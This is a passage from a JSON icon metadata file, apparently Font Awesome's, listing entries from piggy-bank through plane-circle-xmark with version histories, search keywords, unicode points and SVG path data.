        "path": "M205.3 174.6c0 21.1-14.2 38.1-31.7 38.1-7.1 0-12.8-1.2-17.2-3.7v-68c4.4-2.7 10.1-4.2 17.2-4.2 17.5 0 31.7 16.9 31.7 37.8zm52.6 67c-7.1 0-12.8 1.5-17.2 4.2v68c4.4 2.5 10.1 3.7 17.2 3.7 17.4 0 31.7-16.9 31.7-37.8 0-21.1-14.3-38.1-31.7-38.1zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zM185 255.1c41 0 74.2-35.6 74.2-79.6 0-44-33.2-79.6-74.2-79.6-12 0-24.1 3.2-34.6 8.8h-45.7V311l51.8-10.1v-50.6c8.6 3.1 18.1 4.8 28.5 4.8zm158.4 25.3c0-44-33.2-79.6-73.9-79.6-3.2 0-6.4.2-9.6.7-3.7 12.5-10.1 23.8-19.2 33.4-13.8 15-32.2 23.8-51.8 24.8V416l51.8-10.1v-50.6c8.6 3.2 18.2 4.7 28.7 4.7 40.8 0 74-35.6 74-79.6z"
      }
    },
    "free": ["brands"]
  },
  "piggy-bank": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f4d3"]
      }
    },
    "changes": [
      "5.0.9",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["bank", "save", "savings"]
    },
    "styles": ["solid"],
    "unicode": "f4d3",
    "label": "Piggy Bank",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M400 96l0 .7c-5.3-.4-10.6-.7-16-.7H256c-16.5 0-32.5 2.1-47.8 6c-.1-2-.2-4-.2-6c0-53 43-96 96-96s96 43 96 96zm-16 32c3.5 0 7 .1 10.4 .3c4.2 .3 8.4 .7 12.6 1.3C424.6 109.1 450.8 96 480 96h11.5c10.4 0 18 9.8 15.5 19.9l-13.8 55.2c15.8 14.8 28.7 32.8 37.5 52.9H544c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32H512c-9.1 12.1-19.9 22.9-32 32v64c0 17.7-14.3 32-32 32H416c-17.7 0-32-14.3-32-32V448H256v32c0 17.7-14.3 32-32 32H192c-17.7 0-32-14.3-32-32V416c-34.9-26.2-58.7-66.3-63.2-112H68c-37.6 0-68-30.4-68-68s30.4-68 68-68h4c13.3 0 24 10.7 24 24s-10.7 24-24 24H68c-11 0-20 9-20 20s9 20 20 20H99.2c12.1-59.8 57.7-107.5 116.3-122.8c12.9-3.4 26.5-5.2 40.5-5.2H384zm64 136a24 24 0 1 0 -48 0 24 24 0 1 0 48 0z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M400 96l0 .7c-5.3-.4-10.6-.7-16-.7H256c-16.5 0-32.5 2.1-47.8 6c-.1-2-.2-4-.2-6c0-53 43-96 96-96s96 43 96 96zm-16 32c3.5 0 7 .1 10.4 .3c4.2 .3 8.4 .7 12.6 1.3C424.6 109.1 450.8 96 480 96h11.5c10.4 0 18 9.8 15.5 19.9l-13.8 55.2c15.8 14.8 28.7 32.8 37.5 52.9H544c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32H512c-9.1 12.1-19.9 22.9-32 32v64c0 17.7-14.3 32-32 32H416c-17.7 0-32-14.3-32-32V448H256v32c0 17.7-14.3 32-32 32H192c-17.7 0-32-14.3-32-32V416c-34.9-26.2-58.7-66.3-63.2-112H68c-37.6 0-68-30.4-68-68s30.4-68 68-68h4c13.3 0 24 10.7 24 24s-10.7 24-24 24H68c-11 0-20 9-20 20s9 20 20 20H99.2c12.1-59.8 57.7-107.5 116.3-122.8c12.9-3.4 26.5-5.2 40.5-5.2H384zm64 136a24 24 0 1 0 -48 0 24 24 0 1 0 48 0z"
      }
    },
    "free": ["solid"]
  },
  "pills": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f484"]
      }
    },
    "changes": ["5.0.7", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["drugs", "medicine", "prescription", "tablets"]
    },
    "styles": ["solid"],
    "unicode": "f484",
    "label": "Pills",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766751,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M112 96c-26.5 0-48 21.5-48 48V256h96V144c0-26.5-21.5-48-48-48zM0 144C0 82.1 50.1 32 112 32s112 50.1 112 112V368c0 61.9-50.1 112-112 112S0 429.9 0 368V144zM554.9 399.4c-7.1 12.3-23.7 13.1-33.8 3.1L333.5 214.9c-10-10-9.3-26.7 3.1-33.8C360 167.7 387.1 160 416 160c88.4 0 160 71.6 160 160c0 28.9-7.7 56-21.1 79.4zm-59.5 59.5C472 472.3 444.9 480 416 480c-88.4 0-160-71.6-160-160c0-28.9 7.7-56 21.1-79.4c7.1-12.3 23.7-13.1 33.8-3.1L498.5 425.1c10 10 9.3 26.7-3.1 33.8z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M112 96c-26.5 0-48 21.5-48 48V256h96V144c0-26.5-21.5-48-48-48zM0 144C0 82.1 50.1 32 112 32s112 50.1 112 112V368c0 61.9-50.1 112-112 112S0 429.9 0 368V144zM554.9 399.4c-7.1 12.3-23.7 13.1-33.8 3.1L333.5 214.9c-10-10-9.3-26.7 3.1-33.8C360 167.7 387.1 160 416 160c88.4 0 160 71.6 160 160c0 28.9-7.7 56-21.1 79.4zm-59.5 59.5C472 472.3 444.9 480 416 480c-88.4 0-160-71.6-160-160c0-28.9 7.7-56 21.1-79.4c7.1-12.3 23.7-13.1 33.8-3.1L498.5 425.1c10 10 9.3 26.7-3.1 33.8z"
      }
    },
    "free": ["solid"]
  },
  "pinterest": {
    "changes": ["2.0.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f0d2",
    "label": "Pinterest",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014461,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M496 256c0 137-111 248-248 248-25.6 0-50.2-3.9-73.4-11.1 10.1-16.5 25.2-43.5 30.8-65 3-11.6 15.4-59 15.4-59 8.1 15.4 31.7 28.5 56.8 28.5 74.8 0 128.7-68.8 128.7-154.3 0-81.9-66.9-143.2-152.9-143.2-107 0-163.9 71.8-163.9 150.1 0 36.4 19.4 81.7 50.3 96.1 4.7 2.2 7.2 1.2 8.3-3.3.8-3.4 5-20.3 6.9-28.1.6-2.5.3-4.7-1.7-7.1-10.1-12.5-18.3-35.3-18.3-56.6 0-54.7 41.4-107.6 112-107.6 60.9 0 103.6 41.5 103.6 100.9 0 67.1-33.9 113.6-78 113.6-24.3 0-42.6-20.1-36.7-44.8 7-29.5 20.5-61.3 20.5-82.6 0-19-10.2-34.9-31.4-34.9-24.9 0-44.9 25.7-44.9 60.2 0 22 7.4 36.8 7.4 36.8s-24.5 103.8-29 123.2c-5 21.4-3 51.6-.9 71.2C65.4 450.9 0 361.1 0 256 0 119 111 8 248 8s248 111 248 248z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M496 256c0 137-111 248-248 248-25.6 0-50.2-3.9-73.4-11.1 10.1-16.5 25.2-43.5 30.8-65 3-11.6 15.4-59 15.4-59 8.1 15.4 31.7 28.5 56.8 28.5 74.8 0 128.7-68.8 128.7-154.3 0-81.9-66.9-143.2-152.9-143.2-107 0-163.9 71.8-163.9 150.1 0 36.4 19.4 81.7 50.3 96.1 4.7 2.2 7.2 1.2 8.3-3.3.8-3.4 5-20.3 6.9-28.1.6-2.5.3-4.7-1.7-7.1-10.1-12.5-18.3-35.3-18.3-56.6 0-54.7 41.4-107.6 112-107.6 60.9 0 103.6 41.5 103.6 100.9 0 67.1-33.9 113.6-78 113.6-24.3 0-42.6-20.1-36.7-44.8 7-29.5 20.5-61.3 20.5-82.6 0-19-10.2-34.9-31.4-34.9-24.9 0-44.9 25.7-44.9 60.2 0 22 7.4 36.8 7.4 36.8s-24.5 103.8-29 123.2c-5 21.4-3 51.6-.9 71.2C65.4 450.9 0 361.1 0 256 0 119 111 8 248 8s248 111 248 248z"
      }
    },
    "free": ["brands"]
  },
  "pinterest-p": {
    "changes": ["4.3.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f231",
    "label": "Pinterest P",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014464,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M204 6.5C101.4 6.5 0 74.9 0 185.6 0 256 39.6 296 63.6 296c9.9 0 15.6-27.6 15.6-35.4 0-9.3-23.7-29.1-23.7-67.8 0-80.4 61.2-137.4 140.4-137.4 68.1 0 118.5 38.7 118.5 109.8 0 53.1-21.3 152.7-90.3 152.7-24.9 0-46.2-18-46.2-43.8 0-37.8 26.4-74.4 26.4-113.4 0-66.2-93.9-54.2-93.9 25.8 0 16.8 2.1 35.4 9.6 50.7-13.8 59.4-42 147.9-42 209.1 0 18.9 2.7 37.5 4.5 56.4 3.4 3.8 1.7 3.4 6.9 1.5 50.4-69 48.6-82.5 71.4-172.8 12.3 23.4 44.1 36 69.3 36 106.2 0 153.9-103.5 153.9-196.8C384 71.3 298.2 6.5 204 6.5z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M204 6.5C101.4 6.5 0 74.9 0 185.6 0 256 39.6 296 63.6 296c9.9 0 15.6-27.6 15.6-35.4 0-9.3-23.7-29.1-23.7-67.8 0-80.4 61.2-137.4 140.4-137.4 68.1 0 118.5 38.7 118.5 109.8 0 53.1-21.3 152.7-90.3 152.7-24.9 0-46.2-18-46.2-43.8 0-37.8 26.4-74.4 26.4-113.4 0-66.2-93.9-54.2-93.9 25.8 0 16.8 2.1 35.4 9.6 50.7-13.8 59.4-42 147.9-42 209.1 0 18.9 2.7 37.5 4.5 56.4 3.4 3.8 1.7 3.4 6.9 1.5 50.4-69 48.6-82.5 71.4-172.8 12.3 23.4 44.1 36 69.3 36 106.2 0 153.9-103.5 153.9-196.8C384 71.3 298.2 6.5 204 6.5z"
      }
    },
    "free": ["brands"]
  },
  "pix": {
    "changes": ["6.0.0-beta2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e43a",
    "label": "Pix",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014458,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M242.4 292.5C247.8 287.1 257.1 287.1 262.5 292.5L339.5 369.5C353.7 383.7 372.6 391.5 392.6 391.5H407.7L310.6 488.6C280.3 518.1 231.1 518.1 200.8 488.6L103.3 391.2H112.6C132.6 391.2 151.5 383.4 165.7 369.2L242.4 292.5zM262.5 218.9C256.1 224.4 247.9 224.5 242.4 218.9L165.7 142.2C151.5 127.1 132.6 120.2 112.6 120.2H103.3L200.7 22.76C231.1-7.586 280.3-7.586 310.6 22.76L407.8 119.9H392.6C372.6 119.9 353.7 127.7 339.5 141.9L262.5 218.9zM112.6 142.7C126.4 142.7 139.1 148.3 149.7 158.1L226.4 234.8C233.6 241.1 243 245.6 252.5 245.6C261.9 245.6 271.3 241.1 278.5 234.8L355.5 157.8C365.3 148.1 378.8 142.5 392.6 142.5H430.3L488.6 200.8C518.9 231.1 518.9 280.3 488.6 310.6L430.3 368.9H392.6C378.8 368.9 365.3 363.3 355.5 353.5L278.5 276.5C264.6 262.6 240.3 262.6 226.4 276.6L149.7 353.2C139.1 363 126.4 368.6 112.6 368.6H80.78L22.76 310.6C-7.586 280.3-7.586 231.1 22.76 200.8L80.78 142.7H112.6z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M242.4 292.5C247.8 287.1 257.1 287.1 262.5 292.5L339.5 369.5C353.7 383.7 372.6 391.5 392.6 391.5H407.7L310.6 488.6C280.3 518.1 231.1 518.1 200.8 488.6L103.3 391.2H112.6C132.6 391.2 151.5 383.4 165.7 369.2L242.4 292.5zM262.5 218.9C256.1 224.4 247.9 224.5 242.4 218.9L165.7 142.2C151.5 127.1 132.6 120.2 112.6 120.2H103.3L200.7 22.76C231.1-7.586 280.3-7.586 310.6 22.76L407.8 119.9H392.6C372.6 119.9 353.7 127.7 339.5 141.9L262.5 218.9zM112.6 142.7C126.4 142.7 139.1 148.3 149.7 158.1L226.4 234.8C233.6 241.1 243 245.6 252.5 245.6C261.9 245.6 271.3 241.1 278.5 234.8L355.5 157.8C365.3 148.1 378.8 142.5 392.6 142.5H430.3L488.6 200.8C518.9 231.1 518.9 280.3 488.6 310.6L430.3 368.9H392.6C378.8 368.9 365.3 363.3 355.5 353.5L278.5 276.5C264.6 262.6 240.3 262.6 226.4 276.6L149.7 353.2C139.1 363 126.4 368.6 112.6 368.6H80.78L22.76 310.6C-7.586 280.3-7.586 231.1 22.76 200.8L80.78 142.7H112.6z"
      }
    },
    "free": ["brands"]
  },
  "pizza-slice": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f818"]
      }
    },
    "changes": ["5.7.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "cheese",
        "chicago",
        "italian",
        "mozzarella",
        "new york",
        "pepperoni",
        "pie",
        "slice",
        "teenage mutant ninja turtles",
        "tomato"
      ]
    },
    "styles": ["solid"],
    "unicode": "f818",
    "label": "Pizza Slice",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767421,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M169.7 .9c-22.8-1.6-41.9 14-47.5 34.7L110.4 80c.5 0 1.1 0 1.6 0c176.7 0 320 143.3 320 320c0 .5 0 1.1 0 1.6l44.4-11.8c20.8-5.5 36.3-24.7 34.7-47.5C498.5 159.5 352.5 13.5 169.7 .9zM399.8 410.2c.1-3.4 .2-6.8 .2-10.2c0-159.1-128.9-288-288-288c-3.4 0-6.8 .1-10.2 .2L.5 491.9c-1.5 5.5 .1 11.4 4.1 15.4s9.9 5.6 15.4 4.1L399.8 410.2zM176 208a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm64 128a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zM96 384a32 32 0 1 1 64 0 32 32 0 1 1 -64 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M169.7 .9c-22.8-1.6-41.9 14-47.5 34.7L110.4 80c.5 0 1.1 0 1.6 0c176.7 0 320 143.3 320 320c0 .5 0 1.1 0 1.6l44.4-11.8c20.8-5.5 36.3-24.7 34.7-47.5C498.5 159.5 352.5 13.5 169.7 .9zM399.8 410.2c.1-3.4 .2-6.8 .2-10.2c0-159.1-128.9-288-288-288c-3.4 0-6.8 .1-10.2 .2L.5 491.9c-1.5 5.5 .1 11.4 4.1 15.4s9.9 5.6 15.4 4.1L399.8 410.2zM176 208a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm64 128a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zM96 384a32 32 0 1 1 64 0 32 32 0 1 1 -64 0z"
      }
    },
    "free": ["solid"]
  },
  "place-of-worship": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f67f"]
      }
    },
    "changes": [
      "5.3.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["building", "church", "holy", "mosque", "synagogue"]
    },
    "styles": ["solid"],
    "unicode": "f67f",
    "label": "Place Of Worship",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M224 109.3V217.6L183.3 242c-14.5 8.7-23.3 24.3-23.3 41.2V512h96V416c0-35.3 28.7-64 64-64s64 28.7 64 64v96h96V283.2c0-16.9-8.8-32.5-23.3-41.2L416 217.6V109.3c0-8.5-3.4-16.6-9.4-22.6L331.3 11.3c-6.2-6.2-16.4-6.2-22.6 0L233.4 86.6c-6 6-9.4 14.1-9.4 22.6zM24.9 330.3C9.5 338.8 0 354.9 0 372.4V464c0 26.5 21.5 48 48 48h80V273.6L24.9 330.3zM592 512c26.5 0 48-21.5 48-48V372.4c0-17.5-9.5-33.6-24.9-42.1L512 273.6V512h80z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M224 109.3V217.6L183.3 242c-14.5 8.7-23.3 24.3-23.3 41.2V512h96V416c0-35.3 28.7-64 64-64s64 28.7 64 64v96h96V283.2c0-16.9-8.8-32.5-23.3-41.2L416 217.6V109.3c0-8.5-3.4-16.6-9.4-22.6L331.3 11.3c-6.2-6.2-16.4-6.2-22.6 0L233.4 86.6c-6 6-9.4 14.1-9.4 22.6zM24.9 330.3C9.5 338.8 0 354.9 0 372.4V464c0 26.5 21.5 48 48 48h80V273.6L24.9 330.3zM592 512c26.5 0 48-21.5 48-48V372.4c0-17.5-9.5-33.6-24.9-42.1L512 273.6V512h80z"
      }
    },
    "free": ["solid"]
  },
  "plane": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f072"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.0.13",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0",
      "6.4.1"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "airplane",
        "airport",
        "destination",
        "fly",
        "location",
        "mode",
        "travel",
        "trip"
      ]
    },
    "styles": ["solid"],
    "unicode": "f072",
    "label": "Plane",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767636,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M482.3 192c34.2 0 93.7 29 93.7 64c0 36-59.5 64-93.7 64l-116.6 0L265.2 495.9c-5.7 10-16.3 16.1-27.8 16.1l-56.2 0c-10.6 0-18.3-10.2-15.4-20.4l49-171.6L112 320 68.8 377.6c-3 4-7.8 6.4-12.8 6.4l-42 0c-7.8 0-14-6.3-14-14c0-1.3 .2-2.6 .5-3.9L32 256 .5 145.9c-.4-1.3-.5-2.6-.5-3.9c0-7.8 6.3-14 14-14l42 0c5 0 9.8 2.4 12.8 6.4L112 192l102.9 0-49-171.6C162.9 10.2 170.6 0 181.2 0l56.2 0c11.5 0 22.1 6.2 27.8 16.1L365.7 192l116.6 0z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M482.3 192c34.2 0 93.7 29 93.7 64c0 36-59.5 64-93.7 64l-116.6 0L265.2 495.9c-5.7 10-16.3 16.1-27.8 16.1l-56.2 0c-10.6 0-18.3-10.2-15.4-20.4l49-171.6L112 320 68.8 377.6c-3 4-7.8 6.4-12.8 6.4l-42 0c-7.8 0-14-6.3-14-14c0-1.3 .2-2.6 .5-3.9L32 256 .5 145.9c-.4-1.3-.5-2.6-.5-3.9c0-7.8 6.3-14 14-14l42 0c5 0 9.8 2.4 12.8 6.4L112 192l102.9 0-49-171.6C162.9 10.2 170.6 0 181.2 0l56.2 0c11.5 0 22.1 6.2 27.8 16.1L365.7 192l116.6 0z"
      }
    },
    "free": ["solid"]
  },
  "plane-arrival": {
    "aliases": {
      "unicodes": {
        "composite": ["1f6ec"],
        "secondary": ["10f5af"]
      }
    },
    "changes": [
      "5.1.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "aeroplane",
        "airplane",
        "airplane arrival",
        "airport",
        "arrivals",
        "arriving",
        "destination",
        "fly",
        "land",
        "landing",
        "location",
        "mode",
        "travel",
        "trip"
      ]
    },
    "styles": ["solid"],
    "unicode": "f5af",
    "label": "Plane Arrival",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767637,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M.3 166.9L0 68C0 57.7 9.5 50.1 19.5 52.3l35.6 7.9c10.6 2.3 19.2 9.9 23 20L96 128l127.3 37.6L181.8 20.4C178.9 10.2 186.6 0 197.2 0h40.1c11.6 0 22.2 6.2 27.9 16.3l109 193.8 107.2 31.7c15.9 4.7 30.8 12.5 43.7 22.8l34.4 27.6c24 19.2 18.1 57.3-10.7 68.2c-41.2 15.6-86.2 18.1-128.8 7L121.7 289.8c-11.1-2.9-21.2-8.7-29.3-16.9L9.5 189.4c-5.9-6-9.3-14-9.3-22.5zM32 448H608c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32zm96-80a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm128-16a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M.3 166.9L0 68C0 57.7 9.5 50.1 19.5 52.3l35.6 7.9c10.6 2.3 19.2 9.9 23 20L96 128l127.3 37.6L181.8 20.4C178.9 10.2 186.6 0 197.2 0h40.1c11.6 0 22.2 6.2 27.9 16.3l109 193.8 107.2 31.7c15.9 4.7 30.8 12.5 43.7 22.8l34.4 27.6c24 19.2 18.1 57.3-10.7 68.2c-41.2 15.6-86.2 18.1-128.8 7L121.7 289.8c-11.1-2.9-21.2-8.7-29.3-16.9L9.5 189.4c-5.9-6-9.3-14-9.3-22.5zM32 448H608c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32zm96-80a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm128-16a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["solid"]
  },
  "plane-circle-check": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "airplane",
        "airport",
        "flight",
        "fly",
        "not affected",
        "ok",
        "okay",
        "travel"
      ]
    },
    "styles": ["solid"],
    "unicode": "e555",
    "label": "Plane Circle Check",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767637,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M256 0c-35 0-64 59.5-64 93.7v84.6L8.1 283.4c-5 2.8-8.1 8.2-8.1 13.9v65.5c0 10.6 10.2 18.3 20.4 15.4l171.6-49 0 70.9-57.6 43.2c-4 3-6.4 7.8-6.4 12.8v42c0 7.8 6.3 14 14 14c1.3 0 2.6-.2 3.9-.5L256 480l110.1 31.5c1.3 .4 2.6 .5 3.9 .5c6 0 11.1-3.7 13.1-9C344.5 470.7 320 422.2 320 368c0-60.6 30.6-114 77.1-145.6L320 178.3V93.7C320 59.5 292 0 256 0zM640 368a144 144 0 1 0 -288 0 144 144 0 1 0 288 0zm-76.7-43.3c6.2 6.2 6.2 16.4 0 22.6l-72 72c-6.2 6.2-16.4 6.2-22.6 0l-40-40c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L480 385.4l60.7-60.7c6.2-6.2 16.4-6.2 22.6 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M256 0c-35 0-64 59.5-64 93.7v84.6L8.1 283.4c-5 2.8-8.1 8.2-8.1 13.9v65.5c0 10.6 10.2 18.3 20.4 15.4l171.6-49 0 70.9-57.6 43.2c-4 3-6.4 7.8-6.4 12.8v42c0 7.8 6.3 14 14 14c1.3 0 2.6-.2 3.9-.5L256 480l110.1 31.5c1.3 .4 2.6 .5 3.9 .5c6 0 11.1-3.7 13.1-9C344.5 470.7 320 422.2 320 368c0-60.6 30.6-114 77.1-145.6L320 178.3V93.7C320 59.5 292 0 256 0zM640 368a144 144 0 1 0 -288 0 144 144 0 1 0 288 0zm-76.7-43.3c6.2 6.2 6.2 16.4 0 22.6l-72 72c-6.2 6.2-16.4 6.2-22.6 0l-40-40c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L480 385.4l60.7-60.7c6.2-6.2 16.4-6.2 22.6 0z"
      }
    },
    "free": ["solid"]
  },
  "plane-circle-exclamation": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["affected", "airplane", "airport", "flight", "fly", "travel"]
    },
    "styles": ["solid"],
    "unicode": "e556",
    "label": "Plane Circle Exclamation",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767637,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M256 0c-35 0-64 59.5-64 93.7v84.6L8.1 283.4c-5 2.8-8.1 8.2-8.1 13.9v65.5c0 10.6 10.2 18.3 20.4 15.4l171.6-49 0 70.9-57.6 43.2c-4 3-6.4 7.8-6.4 12.8v42c0 7.8 6.3 14 14 14c1.3 0 2.6-.2 3.9-.5L256 480l110.1 31.5c1.3 .4 2.6 .5 3.9 .5c6 0 11.1-3.7 13.1-9C344.5 470.7 320 422.2 320 368c0-60.6 30.6-114 77.1-145.6L320 178.3V93.7C320 59.5 292 0 256 0zM496 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm0-96a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm0-144c8.8 0 16 7.2 16 16v80c0 8.8-7.2 16-16 16s-16-7.2-16-16V288c0-8.8 7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M256 0c-35 0-64 59.5-64 93.7v84.6L8.1 283.4c-5 2.8-8.1 8.2-8.1 13.9v65.5c0 10.6 10.2 18.3 20.4 15.4l171.6-49 0 70.9-57.6 43.2c-4 3-6.4 7.8-6.4 12.8v42c0 7.8 6.3 14 14 14c1.3 0 2.6-.2 3.9-.5L256 480l110.1 31.5c1.3 .4 2.6 .5 3.9 .5c6 0 11.1-3.7 13.1-9C344.5 470.7 320 422.2 320 368c0-60.6 30.6-114 77.1-145.6L320 178.3V93.7C320 59.5 292 0 256 0zM496 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm0-96a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm0-144c8.8 0 16 7.2 16 16v80c0 8.8-7.2 16-16 16s-16-7.2-16-16V288c0-8.8 7.2-16 16-16z"
      }
    },
    "free": ["solid"]
  },
  "plane-circle-xmark": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["airplane", "airport", "destroy", "flight", "fly", "travel"]
    },
    "styles": ["solid"],
    "unicode": "e557",
    "label": "Plane Circle Xmark",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767636,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M256 0c-35 0-64 59.5-64 93.7v84.6L8.1 283.4c-5 2.8-8.1 8.2-8.1 13.9v65.5c0 10.6 10.2 18.3 20.4 15.4l171.6-49 0 70.9-57.6 43.2c-4 3-6.4 7.8-6.4 12.8v42c0 7.8 6.3 14 14 14c1.3 0 2.6-.2 3.9-.5L256 480l110.1 31.5c1.3 .4 2.6 .5 3.9 .5c6 0 11.1-3.7 13.1-9C344.5 470.7 320 422.2 320 368c0-60.6 30.6-114 77.1-145.6L320 178.3V93.7C320 59.5 292 0 256 0zM496 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm59.3-180.7L518.6 368l36.7 36.7c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0L496 390.6l-36.7 36.7c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6L473.4 368l-36.7-36.7c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L496 345.4l36.7-36.7c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M256 0c-35 0-64 59.5-64 93.7v84.6L8.1 283.4c-5 2.8-8.1 8.2-8.1 13.9v65.5c0 10.6 10.2 18.3 20.4 15.4l171.6-49 0 70.9-57.6 43.2c-4 3-6.4 7.8-6.4 12.8v42c0 7.8 6.3 14 14 14c1.3 0 2.6-.2 3.9-.5L256 480l110.1 31.5c1.3 .4 2.6 .5 3.9 .5c6 0 11.1-3.7 13.1-9C344.5 470.7 320 422.2 320 368c0-60.6 30.6-114 77.1-145.6L320 178.3V93.7C320 59.5 292 0 256 0zM496 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm59.3-180.7L518.6 368l36.7 36.7c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0L496 390.6l-36.7 36.7c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6L473.4 368l-36.7-36.7c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L496 345.4l36.7-36.7c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6z"
      }
    },
